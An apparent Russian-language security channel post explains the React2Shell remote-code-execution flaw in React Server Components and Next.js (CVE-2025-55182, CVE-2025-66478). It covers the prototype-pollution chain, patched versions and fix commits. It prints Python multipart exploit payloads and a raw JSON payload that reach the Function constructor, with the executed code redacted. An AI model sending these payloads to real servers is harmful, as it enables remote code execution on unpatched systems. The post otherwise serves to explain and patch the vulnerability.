⚠️ #web #offense #события #заметки
➡️Что по поводу
React2Shell (
CVE-2025-55182 /
CVE-2025-66478)?
Исходя из обновлённых
react2shell.com (ресурс от автора CVE) и репозитория
msanft/CVE-2025-55182, на данный момент имеем следующее: подтверждается, что наконец стали распространяться валидные PoC, не требующие подключения
vm#runInThisContext,
child_process#exec,
fs#writeFile и им подобных;
🐇
ПроблемаСервер и клиент обмениваются чанками, передавая их через
form-data — причём чанки могут содержать ссылки друг на друга. До
этого коммита не проверялось, принадлежит ли ключ объекту — можно было добраться до прототипа;
С помощью нагрузки вроде "$1:__proto__:constructor:constructor" можно получить [Function: Function] — глобальный конструктор;
Если чанк имеет поле
then, то уязвимый сервер думает, что это промис — делает
await decodeReplyFromBusboy(...) и вызывает
then(resolve, reject);
Соответственно, можем сформировать специальный объект, где then указывал бы на Function.
files = {
"0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
"1": (None, '{"x":1}'),
}🐇
Эксплуатация0️⃣ Десериализатор React через
getChunck берёт чанк с
ID=0 как корневой для разбора ссылок;
1️⃣ Через специальный синтаксис (
$@) можно сослаться из чанка
ID=1 на чанк
ID=0, который вернул бы сырой чанк вместо разобранного объекта;
2️⃣ Когда
.status вредоносного чанка =
"resolved_model", мы попадаем в
initializeModelChunk — где
.value парсится как JSON, резолвятся ссылки и вызывается
reviveModel, куда передаётся
_response из чанка;
3️⃣ При обработке blob'ов с префиксом
$B происходит вызов
response._formData.get(response._prefix + obj);
4️⃣ Значит, в
._formData — указываем на
конструктор Function, а в
._prefix — на
произвольный код;
5️⃣
response._formData.get(response._prefix + "0") превратится в
Function("█████████") ⚡️
🐇
Полезная нагрузкаcrafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"███████████████████;",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}Разбирая полезную нагрузку по пунктам:
▪️"then": "$1:__proto__:then"
➡️ чтобы чанк ID=0 переписал собственный .then();
▪️"status": "resolved_model"
➡️ чтобы Chunk.prototype.then перешёл к выполнению initializeModelChunk;
▪️"reason": -1
➡️ чтобы не упасть на моменте toString в initializeModelChunk;
▪️"value": '{"then": "$B0"}'
➡️ чтобы после второго прохода десериализации превратить в thenable и добраться до response._formData.get(response._prefix + obj);
▪️"_prefix"
➡️ здесь произвольный код для выполнения;
▪️"_formData"
➡️ здесь указываем на конструктор;
🐇
ПатчCVE-2025-55182
Уязвимые версии: от React 19 до React 19.2.0
Починили в React 19.2.1
Починили тут: facebook/react/commit/7dc903cd29dac55efb4424853fd0442fef3a8700
Объявили тут: react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
CVE-2025-66478Уязвимые версии: от Next.js 15 до Next.js 16
Починили в этих версиях
Починили тут: vercel/next.js/commit/6ef90ef49fd32171150b6f81d14708aa54cd07b2
Объявили тут: nextjs.org/blog/CVE-2025-66478
⬜➖⬜➖⬜➖
Здесь и
здесь — подробный разбор причины, следствия и эксплуатации, а также PoC от сильного тайваньского CTF'ера:
🧩
msanft/CVE-2025-55182 🧩
maple3142/48bc9393f45e068cf8c90ab865c0f5f3{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"█████████████;","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}➡️
Stay safe! @HaHacking 🐇